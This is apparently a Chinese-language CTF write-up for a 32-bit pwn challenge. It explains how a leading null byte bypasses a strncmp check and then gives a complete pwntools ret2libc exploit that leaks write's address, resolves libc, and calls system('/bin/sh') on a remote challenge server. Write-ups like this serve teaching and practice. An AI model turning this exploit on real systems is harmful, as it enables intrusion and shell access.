32位程序,主要是绕过的关键一步
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax@1
char s; // [sp+Ch] [bp-4Ch]@1
char buf[7]; // [sp+2Ch] [bp-2Ch]@1
unsigned __int8 v5; // [sp+33h] [bp-25h]@2
int v6; // [sp+4Ch] [bp-Ch]@1
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
strlen()
函数原型:size_t strlen ( const char * str );
函数功能:
返回C字符串str的长度。
C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。
strncmp()
函数原型:int strncmp ( const char * str1, const char * str2, size_t num );
函数功能:
比较两个字符串的字符,比较C字符串str1的num字符和C字符串str2的num字符。
这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作,
直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。
string1 > string2 return 1
string1 = string2 return 0
string1 < string2 return -1
read以 \n 结束
strlen以 \x00 结束
让 v1 变成0,返回0不会退出程序
之后返回一个参数给下一个函数,把值覆盖为最大 \xff 使下一个函数可以溢出
from pwn import *
from LibcSearcher import *
content = 0
context(os='linux', arch='x86', log_level='debug')
elf = ELF("pwn")
main_addr = 0x08048825
write_plt = elf.plt["write"]
write_got = elf.got["write"]
def correct():
payload = b'\x00\x00\x00\x00' + b'\xff\xff\xff\xff'
peiqi.sendline(payload)
peiqi.recvuntil("Correct\n")
def main():
global peiqi
if content == 1:
peiqi = process("pwn")
else:
peiqi = remote("node3.buuoj.cn",28691)
correct()
payload = b'a' * (0xe7 + 4)
payload = payload + p32(write_plt) + p32(main_addr)
payload = payload + p32(1) + p32(write_got) + p32(0x8)
peiqi.sendline(payload)
write_addr = u32(peiqi.recv(4))
log.success("write_addr :" + str(hex(write_addr)))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
correct()
payload = b'a' * (0xe7 + 4)
payload = payload + p32(system_addr) + p32(1) + p32(bin_sh_addr)
peiqi.sendline(payload)
peiqi.interactive()
main()